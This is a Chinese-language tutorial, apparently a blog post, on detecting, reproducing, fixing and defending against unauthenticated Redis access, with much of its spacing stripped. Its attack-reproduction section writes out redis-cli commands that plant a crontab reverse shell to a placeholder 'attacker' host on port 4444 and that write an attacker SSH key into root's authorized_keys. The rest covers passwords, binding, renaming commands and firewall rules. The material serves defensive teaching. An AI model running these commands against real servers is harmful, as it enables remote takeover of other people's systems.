Redis 未授权访问漏洞修复与防御体系建立专栏安全 故障排查难度进阶标签Redis安全未授权访问漏洞修复安全防护前言Redis 未授权访问是危害极大的漏洞轻则数据泄露重则通过写入 crontab 或 SSH 公钥实现服务器控制。本文覆盖检测、修复和防御全流程。一、漏洞验证# 测试是否存在未授权访问redis-cli-htarget_ip-p6379ping# 返回 PONG 说明无认证保护# 查看信息攻击者可以看到redis-cli-htarget_ip info server二、攻击场景复现# 场景1通过Redis写入crontab反弹shellredis-cli-htarget_ip configsetdir/var/spool/cron/ redis-cli-htarget_ip configsetdbfilename root redis-cli-htarget_ipsetcronshell\n\n*/1 * * * * bash -i /dev/tcp/attacker/4444 01\n\nredis-cli-htarget_ip save# 场景2写入SSH公钥redis-cli-htarget_ip configsetdir/root/.ssh/ redis-cli-htarget_ip configsetdbfilename authorized_keys redis-cli-htarget_ipsetssh_keyssh-rsa ATTACKER_PUBLIC_KEYredis-cli-htarget_ip save三、修复步骤# 1. 立刻检查并清理被写入的恶意文件crontab-l|grep-vtcp/ls-la/root/.ssh/authorized_keys# 2. 设置强密码认证cat/etc/redis/redis.confEOF requirepass YourStrongPassword123! EOFredis-cli configsetrequirepassYourStrongPassword123!# 3. 绑定内网IP不监听 0.0.0.0sed-is/^bind.*/bind 127.0.0.1 10.0.0.1//etc/redis/redis.conf# 4. 禁用危险命令rename到随机字符串或直接disablecat/etc/redis/redis.confEOF rename-command CONFIG rename-command FLUSHALL rename-command FLUSHDB rename-command DEBUG rename-command SLAVEOF EOF# 5. 使用低权限用户运行Redisuseradd-r-s/bin/false redischown-Rredis:redis /var/lib/redis# systemd service中指定 Userredis# 6. 重启Redissystemctl restart redis四、防火墙加固# Redis端口只允许内网访问firewall-cmd--permanent--add-rich-rulerule familyipv4 source address10.0.0.0/8 port port6379 protocoltcp acceptfirewall-cmd--permanent--add-rich-rulerule familyipv4 port port6379 protocoltcp dropfirewall-cmd--reload五、定期检查脚本#!/bin/bash# redis-security-check.shecho Redis 安全检查 # 检查认证ifredis-cliping2/dev/null|grep-qPONG;thenecho[危险] Redis 无认证保护elseecho[安全] Redis 需要认证fi# 检查监听地址redis-cli config getbind2/dev/null# 检查危险命令是否禁用redis-cli CONFIG SET requirepass21|grep-qERR\echo[安全] CONFIG命令已禁用||echo[警告] CONFIG命令未禁用结语Redis 安全的四条铁律设密码、绑内网IP、禁危险命令、低权限运行。只要做到这四条未授权访问漏洞就不复存在。